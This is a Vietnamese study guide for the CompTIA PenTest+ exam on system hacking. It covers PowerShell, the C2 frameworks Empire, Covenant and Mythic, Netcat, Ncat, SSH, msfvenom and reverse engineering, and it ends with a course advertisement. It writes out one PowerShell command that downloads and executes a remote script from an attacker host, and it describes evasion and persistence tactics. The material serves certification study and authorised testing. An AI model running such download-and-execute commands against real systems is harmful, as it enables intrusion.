CompTIA PENTEST+ (PT0-002) – Bài 14 : Kỹ thuật Hack Hệ thống (System Hacking)

Tài liệu Hướng dẫn Kỹ thuật Hack Hệ thống (System Hacking)

Mục tiêu:

  • Khi được giao một tình huống, thực hiện các kỹ thuật hậu khai thác (post-exploitation).
  • Khi được giao một tình huống, nghiên cứu các vectơ tấn công và thực hiện các cuộc tấn công mạng.
  • Giải thích các trường hợp sử dụng của các công cụ sau đây trong các giai đoạn của một cuộc kiểm tra xâm nhập.
  • Khi được giao một tình huống, phân tích tập lệnh hoặc mẫu mã để sử dụng trong một bài kiểm tra xâm nhập.

Chủ đề 14A: System Hacking

Sau khi đã truy cập thành công vào một hệ thống, công việc của Đội ngũ Pentest của Security365 vẫn chưa hoàn thành. Họ phải duy trì quyền truy cập, leo thang đặc quyền và di chuyển ngang (lateral movement) để đạt được các mục tiêu như truy cập dữ liệu hoặc cài đặt mã độc. Đây là giai đoạn hậu khai thác (post-exploitation), đòi hỏi hiểu biết chuyên sâu về cấu hình và quản trị hệ thống. Với sự kết hợp của các công cụ mạnh mẽ và kỹ năng phân tích, đội có thể mô phỏng các hành động của tin tặc và cung cấp thông tin chi tiết về cách tăng cường phòng thủ.

Khi PenTest, đội sẽ cần phải quen thuộc với nhiều công cụ phát triển phần mềm khác nhau khi tìm kiếm lỗ hổng.
Một ví dụ là .NET, một framework phát triển phần mềm.

  • Mã nguồn mở, đa nền tảng (cross-platform) – có thể chạy trên Windows, Linux và macOS,
  • Cung cấp chức năng cơ bản của .NET Framework ban đầu.
  • Thay thế .NET Framework ban đầu, vẫn khả dụng và hoạt động.
    Cả .NET và .NET Framework đều có những lỗ hổng có thể được tận dụng trong quá trình PenTest.

Ví dụ: Khi kiểm tra một máy chủ chạy ứng dụng .NET, Đội ngũ Pentest của Security365 tìm thấy một phiên bản .NET cũ với một lỗ hổng cho phép thực thi mã từ xa. Họ tận dụng điều này để lấy shell với đặc quyền nâng cao và trích xuất dữ liệu nhạy cảm từ cơ sở dữ liệu ứng dụng.

Windows PowerShell là một ngôn ngữ kịch bản được xây dựng trên .NET Framework và là shell mặc định trên Windows 10.

  • Cung cấp chức năng lớn hơn so với giao diện dòng lệnh Windows truyền thống.
  • Hỗ trợ nhiều yếu tố lập trình.
  • Có thể tự động hóa quá trình khai thác các mục sau:
  • Registry, đối tượng AD, Group Policy, ngăn xếp mạng Windows.

Ví dụ: Trong quá trình kiểm tra xâm nhập, Đội ngũ Pentest của Security365 tạo tập lệnh PowerShell để liệt kê tất cả người dùng trong Active Directory, xác định tài khoản có đặc quyền cao và thử brute-force mật khẩu của họ. Tập lệnh này tiết kiệm thời gian đáng kể so với việc thực hiện các tác vụ này theo cách thủ công.

Empire là một framework điều khiển (Command-and-Control – C2) sử dụng PowerShell cho các tác vụ hậu khai thác phổ biến.

  • Chạy chủ yếu trên Windows, tuy nhiên có một thành phần Python cho Linux.
  • Với Empire, bạn có thể chạy các agent PowerShell mà không cần powershell.exe (trình thông dịch ngôn ngữ kịch bản).
  • Được sử dụng để leo thang đặc quyền, chạy các mô-đun khác để thu thập dữ liệu và trích xuất mật khẩu, cũng như cài đặt các backdoor liên tục.
    Các công cụ tương tự khác đáng nghiên cứu bao gồm NoPowerShell, PowerLessShell, PowerShdll

Ví dụ: Sau khi truy cập ban đầu vào một máy Windows, Đội ngũ Pentest của Security365 triển khai một agent Empire. Sử dụng khả năng của Empire, họ leo thang từ người dùng chuẩn lên quản trị viên, thu thập thông tin đăng nhập được lưu trữ và thiết lập một liên kết truyền thông ẩn để duy trì quyền truy cập ngay cả khi mật khẩu bị thay đổi.

Covenant là một framework C2 cộng tác nổi bật bề mặt tấn công của .NET và cải thiện khả năng tiến hành các cuộc tấn công dễ dàng hơn.

  • Covenant có thể chạy trên Windows, Linux và MacOS.
    Mythic là một framework C2 đa nền tảng khác.
  • Chứa các loại payload khác nhau cũng như cách tùy chỉnh chúng khi PenTesting một MacOS.

Ví dụ: Để nhắm mục tiêu vào các máy Mac trong mạng, Đội ngũ Pentest của Security365 sử dụng Mythic để tạo và triển khai payload tùy chỉnh. Những payload này tận dụng các lỗ hổng trong macOS để thiết lập kết nối ngược với máy chủ C2 của đội, cung cấp quyền truy cập shell và cho phép trinh sát mạng từ xa.

Hoạt động ôn tập:

  1. Phác thảo lý do tại sao đội cần quen thuộc với .NET và .NET Framework
  2. Mô tả ngôn ngữ kịch bản Windows PowerShell
  3. Phác thảo cách đội có thể sử dụng Empire Framework trong quá trình PenTesting
  4. So sánh các Framework C2 Covenant và Mythic

Chủ đề 14B: Sử dụng Công cụ Truy cập Từ xa (Remote Access Tools)
Trong nhiều cuộc kiểm tra xâm nhập, Đội ngũ Pentest của Security365 cần thiết lập và duy trì quyền truy cập vào mạng mục tiêu từ xa. Để làm được điều này, họ dựa vào các công cụ truy cập từ xa (RAT) cho phép giao tiếp và kiểm soát qua mạng. Những công cụ này không chỉ hữu ích cho mục đích bảo trì hệ thống hợp pháp mà còn có thể được các tin tặc sử dụng cho các mục đích độc hại. Hiểu cách chúng hoạt động và cách phát hiện chúng là điều cần thiết để bảo vệ chống lại các cuộc xâm nhập trái phép.

Netcat là một tiện ích dòng lệnh đa năng được sử dụng để đọc hoặc ghi vào các kết nối mạng TCP, UDP hoặc socket miền Unix.

  • Có thể tạo hoặc kết nối với máy chủ TCP, hoạt động như proxy hoặc chuyển tiếp và khởi chạy các tệp thực thi khi kết nối được thực hiện.
  • Có thể truyền tệp, kiểm tra các dịch vụ và daemon, quét cổng.
  • Netcat đã được chuyển sang hầu hết các nền tảng máy tính để bàn và đã truyền cảm hứng cho các công cụ tương tự như Simple Netcat cho Android và Ncat.
    Cú pháp cơ bản của Netcat là nc [options] [target address] [port(s)] và có một số tùy chọn có sẵn.

Ví dụ: Trong giai đoạn hậu khai thác, Đội ngũ Pentest của Security365 sử dụng Netcat để thiết lập kết nối socket giữa máy mục tiêu và hệ thống của riêng họ. Thông qua kết nối này, họ có thể chuyển các tệp đáng ngờ được phát hiện trong quá trình kiểm tra để phân tích thêm, tất cả mà không cần phần mềm chuyên dụng.

Ncat là một công cụ được phát triển cho Nmap như một cải tiến so với Netcat.

  • Nó sử dụng cú pháp tương tự khi thực thi các lệnh và có các tùy chọn tương tự được thấy trong bảng tùy chọn của Netcat.
  • Có chức năng bổ sung mà rất quan trọng đối với tester xâm nhập:
  • Nó có thể mã hóa thông tin liên lạc bằng SSL để lưu lượng không hiển thị với bất kỳ ai trên mạng.
  • Che giấu các hoạt động như chuyển dữ liệu ra bên ngoài hoặc gửi lệnh có thể cảnh báo người bảo vệ hoặc hệ thống phòng thủ về sự hiện diện của bạn.

Ví dụ: Để tránh bị phát hiện bởi các hệ thống giám sát mạng, Đội ngũ Pentest của Security365 sử dụng khả năng mã hóa SSL của Ncat khi giao tiếp với các hệ thống bị xâm nhập. Điều này cho phép họ thực hiện các lệnh và trích xuất dữ liệu một cách bí mật, ngay cả trên các mạng được giám sát chặt chẽ.

SSH là một cách để an toàn ban hành các lệnh và sao chép các tệp qua một mạng không an toàn.

  • Theo mặc định, bạn sẽ cần thông tin đăng nhập để sử dụng nó và nếu được định cấu hình với các mức độ bảo mật cao hơn, cũng cần chứng chỉ và cặp khóa.
  • SSH thường được quản trị viên hệ thống sử dụng để quản lý từ xa máy chủ và các thiết bị khác.
  • Có nhiều tính năng và tùy chọn, cho phép một hacker đạo đức thực hiện các tác vụ nâng cao như các đường hầm bảo mật để pivoting.

Ví dụ: Để truy cập các hệ thống Linux trong môi trường mục tiêu, Đội ngũ Pentest của Security365 sử dụng SSH với các khóa công khai/riêng đã được chia sẻ trước. Điều này cho phép họ đăng nhập an toàn vào các máy từ xa, chạy lệnh và sao chép dữ liệu, tất cả thông qua một kênh được mã hóa. Họ cũng sử dụng chức năng chuyển tiếp cổng SSH để truy cập các hệ thống nội bộ khác từ một máy bị xâm phạm.

Hoạt động ôn tập:

  1. Giải thích cách đội có thể sử dụng Netcat trong quá trình PenTest
  2. Thảo luận về cách Ncat có chức năng bổ sung quan trọng đối với một tester xâm nhập
  3. Xem lại các cách SSH có thể cho phép đội giao tiếp an toàn trong quá trình PenTest

Chủ đề 14C: Phân tích mã khai thác (Exploit Code)
Trong nhiều trường hợp, Đội ngũ Pentest của Security365 phải đối mặt với các ứng dụng và hệ thống độc quyền không có mã khai thác công khai. Trong những tình huống này, họ cần phân tích chương trình để xác định các lỗ hổng có thể khai thác. Điều này liên quan đến việc kiểm tra mã nguồn hoặc phân tích hành vi thời gian chạy để tìm các lỗi lô-gic, tràn bộ đệm hoặc các lỗ hổng khác. Sau đó, đội có thể tạo mã khai thác tùy chỉnh để chứng minh và tận dụng những điểm yếu này. Các kỹ năng dịch ngược và phân tích mã rất quan trọng cho công việc này.

Trong quá trình PenTest, đội có thể được giao nhiệm vụ sử dụng mã khai thác để tải xuống và thực thi tập lệnh.
Sau đây là một dòng mã sẽ mang lại lợi thế cho chúng ta:
powershell.exe -c “IEX((New-Object System.Net.WebClient).DownloadString(‘http://192.168.0.100/run.ps1’))

  1. Phần tử đầu tiên (powershell.exe -c) yêu cầu PowerShell thực thi khối lệnh hoặc tập lệnh sau đó và sau đó thoát.
  2. “IEX” sẽ thực thi một phần tử bên trong dấu ngoặc đơn, tạo một kết nối mới tới máy tấn công được chỉ định và tải xuống một tệp có tên “run.ps1”.

Ví dụ: Trong quá trình kiểm tra ứng dụng web, Đội ngũ Pentest của Security365 phát hiện ra một lỗ hổng cho phép chèn mã tùy ý. Họ sử dụng dòng PowerShell trên để tải xuống và thực thi tập lệnh độc hại từ máy chủ của họ, thiết lập backdoor liên tục trên máy chủ web mục tiêu.

Để có quyền truy cập vào mục tiêu, đội có thể cần tạo một tập lệnh nâng cao hơn bằng msfvenom. Trong mã, bạn sẽ thấy:

  • Tùy chọn -p chỉ định payload “reverse_powershell”
  • Tùy chọn -w hidden ẩn cửa sổ
  • Tùy chọn –nop yêu cầu PowerShell không tải bất kỳ hồ sơ nào Phần còn lại của mã phức tạp hơn vì nó sử dụng vòng lặp while để duy trì hoạt động cho đến khi nó kết nối thành công.
  • Thay vì chỉ chạy một lần và dừng lại.

Ví dụ: Sau khi xác định lỗ hổng trong một dịch vụ Windows, Đội ngũ Pentest của Security365 sử dụng msfvenom để tạo một payload tùy chỉnh. Payload này sử dụng mã PowerShell để thiết lập một kết nối ngược liên tục đến máy chủ C2, ngay cả khi kết nối ban đầu bị đóng. Điều này cho phép họ duy trì quyền truy cập ngay cả khi lỗ hổng ban đầu được vá.

Liệt kê (Enumeration) thu thập thông tin bằng nhiều công cụ và/hoặc framework C2 được thiết kế cho các tác vụ này.

  • Một trong những công cụ phổ biến nhất được sử dụng là Meterpreter, một agent là một phần của framework Metasploit. Chúng ta liệt kê người dùng và tài sản vì những lý do sau:
  • Người dùng và tên người dùng có thể được sử dụng để thử các kỹ thuật mật khẩu
  • Tài sản có thể được sử dụng để tấn công và pivoting.

Ví dụ: Sau khi có được quyền truy cập vào một máy chủ, Đội ngũ Pentest của Security365 tải Meterpreter và sử dụng nó để liệt kê người dùng hệ thống. Họ phát hiện một tài khoản dịch vụ có mật khẩu yếu và sử dụng nó để truy cập vào các hệ thống khác trong mạng. Họ cũng liệt kê các ổ đĩa chia sẻ và xác định vị trí lưu trữ tệp tài chính nhạy cảm.

Một cách để liệt kê người dùng là sử dụng một trang web WordPress dễ bị tấn công. Để đạt được điều này, chúng ta có thể sử dụng một tập lệnh khai thác tham chiếu đến một URL.

  1. Bạn sẽ cần thêm trang web chính để quét và nó sẽ thêm một số mã vào URL thêm một vị trí đã biết của tệp người dùng.
  2. Tập lệnh sau đó sẽ liên tục truy cập URL đã sửa đổi và sao chép thông tin về người dùng. Điều này có thể xảy ra vì khi mọi người vội vàng xây dựng một trang web, họ thường không thực hiện các bước bổ sung để định cấu hình bảo mật đúng cách.

Ví dụ: Trong khi kiểm tra một trang web WordPress tại comptia.edu.vn, Đội ngũ Pentest của Security365 phát hiện ra rằng nó đang chạy một plugin lỗi thời. Bằng cách sử dụng một tập lệnh khai thác công khai, họ có thể lấy danh sách tất cả người dùng trang web, bao gồm cả quản trị viên. Điều này cho phép họ thực hiện các cuộc tấn công brute-force mật khẩu và cuối cùng xâm phạm trang web.

Ngày nay có rất nhiều cơ sở dữ liệu và bộ sưu tập các mã khai thác mà bạn có thể truy vấn và nghiên cứu. Trong một số trường hợp, chúng ta có thể tìm thấy mã trên một trang web kém uy tín hơn hoặc được đăng bởi người dùng không xác định. Trước khi sử dụng mã, hãy xem xét những điều sau:

  • Một hacker hiểu biết có thể phát triển lỗi khai thác có thể có các kỹ năng cần thiết để thêm mã có hại vào nó.
  • Bất kỳ ai cố gắng sử dụng lỗi khai thác có thể trở thành nạn nhân của mã độc.

Ví dụ: Trong quá trình kiểm tra, Đội ngũ Pentest của Security365 tìm thấy một mã khai thác được đăng trên một diễn đàn hacker. Trước khi sử dụng nó, họ phân tích kỹ lưỡng mã để đảm bảo rằng nó không chứa bất kỳ chức năng ẩn hoặc độc hại nào. Họ cũng kiểm tra nó trong một môi trường cát để quan sát hành vi của nó trước khi triển khai nó chống lại mục tiêu thực.

Một ứng dụng mà tổ chức phát triển, duy trì hoặc sử dụng nội bộ có thể sẽ không có các tập lệnh sẵn có tự do trên internet. Bạn cũng có thể thấy mã khai thác khó tìm trong các tình huống sau:

  • Phiên bản được vá gần đây không còn dễ bị tấn công trước các lỗi khai thác đã biết
  • Phần mềm không phổ biến/ít được biết đến và không có lỗi khai thác công khai Đối với các tình huống như thế này, bạn có thể sử dụng các kỹ thuật phân tích cụ thể trên phần mềm đã biên dịch để xem liệu bạn có thể xâm phạm bất kỳ ứng dụng nào hay không.

Ví dụ: Khi kiểm tra một ứng dụng nội bộ độc quyền trên comptia.edu.vn, Đội ngũ Pentest của Security365 không thể tìm thấy bất kỳ mã khai thác nào sẵn có công khai. Thay vào đó, họ sử dụng công cụ dịch ngược để phân tích mã thực thi, tìm kiếm các lỗ hổng tiềm ẩn như tràn bộ đệm hoặc lỗi kiểm tra đầu vào. Sử dụng thông tin này, họ phát triển mã khai thác tùy chỉnh để chứng minh các vấn đề.

Kỹ thuật dịch ngược (reverse engineering) là quá trình chia nhỏ một chương trình thành các thành phần cơ bản của nó để tiết lộ thêm về cách nó hoạt động. Nếu bạn không có quyền truy cập vào mã nguồn của ứng dụng, bạn có thể chụp thông tin về ứng dụng trong quá trình thực thi. Điều này có thể cho phép bạn dịch ngược ứng dụng để tìm kiếm các điểm yếu tiềm ẩn trong thiết kế, lập trình hoặc triển khai. Khi nói đến phần mềm, có ba phương pháp chính để thực hiện kỹ thuật đảo ngược:

  • Dịch ngược (Decompilation), tháo rời (disassembly) và gỡ lỗi (debugging)

Ví dụ: Khi đánh giá một ứng dụng máy tính để bàn, đội không có quyền truy cập vào mã nguồn. Thay vào đó, họ sử dụng trình dịch ngược để tạo mã giả từ tệp thực thi. Kiểm tra mã giả này, họ xác định một số lỗi nghiêm trọng trong cách ứng dụng xác thực đầu vào người dùng, cho phép họ bỏ qua đăng nhập.

Dịch ngược (Decompilation) chuyển đổi tệp thực thi thành mã nguồn cấp cao. Dịch ngược một chương trình có thể giúp bạn:

  • Khôi phục mã nguồn bị mất, cũng như kiểm tra phần mềm độc hại.
  • Thực hiện phân tích mã tĩnh để sửa lỗi.
  • Giúp xác định xem logic của ứng dụng có tạo ra kết quả ngoài ý muốn hay không.
    Một số ứng dụng dễ giải cấu trúc hơn những ứng dụng khác.
  • Tuy nhiên, một số ngôn ngữ và công cụ của bên thứ ba được thiết kế để làm xáo trộn mã nguồn trước khi nó được biên dịch.

Ví dụ: Đội ngũ Pentest của Security365 đang kiểm tra một plugin WordPress tại comptia.edu.vn. Họ sử dụng trình dịch ngược PHP để tạo mã nguồn từ các tệp plugin. Trong mã này, họ xác định một số chức năng không an toàn liên quan đến việc tạo truy vấn SQL, cho phép họ khai thác lỗ hổng SQL injection.

Tháo rời (Disassembly) dịch mã máy cấp thấp thành ngôn ngữ assembly. Tháo rời là một quá trình xác định, trong đó, một chỉ thị mã máy sẽ luôn dịch sang cùng một chỉ thị assembly. Tuy nhiên, có những nhược điểm so với dịch ngược:

  • Assembly không súc tích như mã cấp cao: nó lặp đi lặp lại nhiều hơn và luồng tuyến tính của mã không được cấu trúc tốt.
  • Quá trình này đòi hỏi kiến thức về assembly, điều mà không nhiều người có.

Ví dụ: Trong quá trình đánh giá một trình điều khiển thiết bị Windows, đội sử dụng một trình disassembler để chuyển đổi mã nhị phân thành assembly x86. Kiểm tra mã assembly, họ phát hiện ra rằng trình điều khiển không xác thực đúng đầu vào của người dùng, dẫn đến lỗ hổng tràn bộ đệm có thể khai thác.

Gỡ lỗi phần mềm (Debugging) thao tác trạng thái chạy của một chương trình để phân tích nó về lỗi, lỗ hổng và các vấn đề khác.

  • Bạn có thể bước qua từng bước, dừng lại hoặc sửa đổi các phần của mã cơ bản của chương trình, ảnh hưởng trực tiếp đến chương trình khi nó thực thi.
  • Cho phép đội thực hiện phân tích tĩnh và động trên chương trình để xem tác động của nó.
  • Giúp dễ dàng hiểu cách một ứng dụng hoạt động và cách nó có thể bị tổn thương.

Ví dụ: Khi đánh giá một ứng dụng di động Android, đội sử dụng trình gỡ lỗi để đính kèm vào tiến trình ứng dụng đang chạy. Họ thiết lập các điểm ngắt tại các vị trí chiến lược và kiểm tra giá trị của các biến khi chương trình thực thi. Điều này cho phép họ xác định lỗ hổng trong quy trình xác thực, cho phép họ bỏ qua đăng nhập.

Bộ công cụ phát triển phần mềm (Software Development Kit – SDK) là một gói công cụ dành riêng cho một ngôn ngữ lập trình hoặc nền tảng cụ thể thường được các nhà phát triển sử dụng trong khi tạo ứng dụng. Một ví dụ là bộ công cụ phát triển cho Windows và trình gỡ lỗi của nó, WinDbg. Có thể chứa các yếu tố khác mà bạn có thể tận dụng trong quá trình đánh giá của mình. Bạn có thể phát triển và biên dịch các công cụ của riêng mình cho một ngôn ngữ lập trình hoặc nền tảng cụ thể.
Có một số công cụ disassembler/debugger phổ biến bao gồm: Immunity Debugger, WinDbg, Ghidra và Covenant

Ví dụ: Để phân tích sâu một ứng dụng Windows, Đội ngũ Pentest của Security365 sử dụng SDK Windows và trình gỡ lỗi WinDbg. Họ đính kèm trình gỡ lỗi vào ứng dụng đang chạy, đặt các điểm ngắt và kiểm tra trạng thái bộ nhớ tại các vị trí chính. SDK cũng cho phép họ xây dựng các công cụ tùy chỉnh để tự động hóa một số tác vụ phân tích.

Hoạt động ôn tập:

  1. Mô tả các phương pháp mà đội có thể sử dụng để tải xuống tệp
  2. Giải thích cách tạo tập lệnh có thể được sử dụng để đạt được quyền truy cập từ xa
  3. Thảo luận lý do tại sao đội sẽ liệt kê người dùng và tài sản
  4. Xem xét các cân nhắc khi tải xuống mã khai thác
  5. Phác thảo các phương pháp để chia nhỏ một chương trình để tiết lộ thêm về cách nó hoạt động
  6. Liệt kê các thành phần của một Bộ công cụ phát triển phần mềm (SDK)

Tổng kết:

Trong bài học này, chúng ta đã đi sâu vào quá trình tấn công hệ thống, một phần quan trọng của bất kỳ cuộc kiểm tra xâm nhập nào. Từ trinh sát mạng đến leo thang đặc quyền và trích xuất dữ liệu, các kỹ thuật này cho phép Đội ngũ Pentest của Security365 đánh giá toàn diện hệ thống mục tiêu và xác định các lỗ hổng chủ yếu.

Chúng ta đã bắt đầu bằng cách khám phá các framework và công cụ phổ biến mà đội có thể sử dụng để khai thác hệ thống Windows và Linux. Chúng bao gồm PowerShell và các framework C2 như Empire, Covenant và Mythic. Những công cụ này cung cấp cho người kiểm tra khả năng tạo và triển khai các payload tùy chỉnh, thiết lập kênh truyền thông liên tục và thực hiện các tác vụ hậu khai thác chung.

Tiếp theo, chúng ta chuyển sang các công cụ truy cập từ xa (RAT) như Netcat, Ncat và SSH. Những tiện ích này là vô giá để thiết lập kết nối mạng, chuyển tệp và thực hiện lệnh từ xa. Chúng cho phép đội duy trì truy cập vào các hệ thống đã bị xâm phạm một cách hiệu quả mà không có phần mềm chuyên dụng.

Cuối cùng, chúng ta đã thảo luận về cách phân tích và sử dụng mã khai thác. Điều này đòi hỏi một tổ hợp các kỹ năng, bao gồm lập trình, dịch ngược và gỡ lỗi. Bằng cách kiểm tra mã hoặc hành vi ứng dụng, nhóm có thể phát triển các lỗi khai thác tùy chỉnh để chứng minh và tận dụng các lỗ hổng. Họ cũng phải đánh giá mã có sẵn một cách thận trọng để đảm bảo nó an toàn và hiệu quả.

Xuyên suốt các chủ đề này, một điểm chung nổi lên: tầm quan trọng của tư duy sáng tạo và sự kiên trì trong kiểm tra xâm nhập. Không giống như việc chỉ chạy các công cụ tự động, tấn công hệ thống yêu cầu khả năng thích ứng, giải quyết vấn đề và sự sẵn sàng học hỏi công nghệ mới. Nó cũng nhấn mạnh nhu cầu về các nguyên tắc đạo đức mạnh mẽ, vì nhiều kỹ thuật này có thể được sử dụng cho lợi ích hoặc gây hại.

Đối với những người đang ôn tập cho kỳ thi CompTIA PenTest+ (mã PT0-002), tôi khuyên bạn nên thực hiện thêm các bài lab trên TryHackMe và CertMaster Labs. Những nền tảng này cung cấp môi trường thực hành để sắp xếp các cuộc tấn công hệ thống thực tế, giúp bạn nắm vững các khái niệm và công cụ. Chứng chỉ hoàn thành sẽ chứng minh kiến thức của bạn cho nhà tuyển dụng.

Nếu bạn muốn đào tạo trực tiếp và toàn diện cho chứng chỉ CompTIA Pentest+, hãy cân nhắc ghi danh vào các khóa học tại CompTIA Vietnam (website https://comptia.edu.vn). Với các giảng viên giàu kinh nghiệm và cơ sở vật chất hiện đại, họ cung cấp một môi trường tuyệt vời để phát triển các kỹ năng thực hành. Bạn cũng có thể tiết kiệm thời gian và chi phí bằng cách sử dụng các khóa học trực tuyến thông qua hệ thống quản lý học tập LMS trên cổng đào tạo an ninh mạng Security365 (website https://security365.vn).

Với sự bùng nổ của công nghệ đám mây, IoT và điện toán biên, các bề mặt tấn công đang mở rộng nhanh hơn bao giờ hết. Là một chuyên gia kiểm tra xâm nhập, làm chủ các công cụ và kỹ thuật để tấn công hệ thống an toàn và đạo đức là điều cần thiết để giúp các tổ chức duy trì tư thế an ninh mạng. Với sự đào tạo và kinh nghiệm phù hợp, bạn có thể đóng một vai trò quan trọng trong việc bảo vệ các tài sản kỹ thuật số quan trọng nhất của chúng ta.

Trình bày bởi : Vinh Nguyen Trần Tường
Tài liệu hỗ trợ học tập và ôn thi Chứng Chỉ Quốc Tế CompTIA Pentest +
Chú ý : Các ví dụ chỉ là giả định cho dễ hiểu, không phải là tình huống thực tế.

Bình luận về bài viết này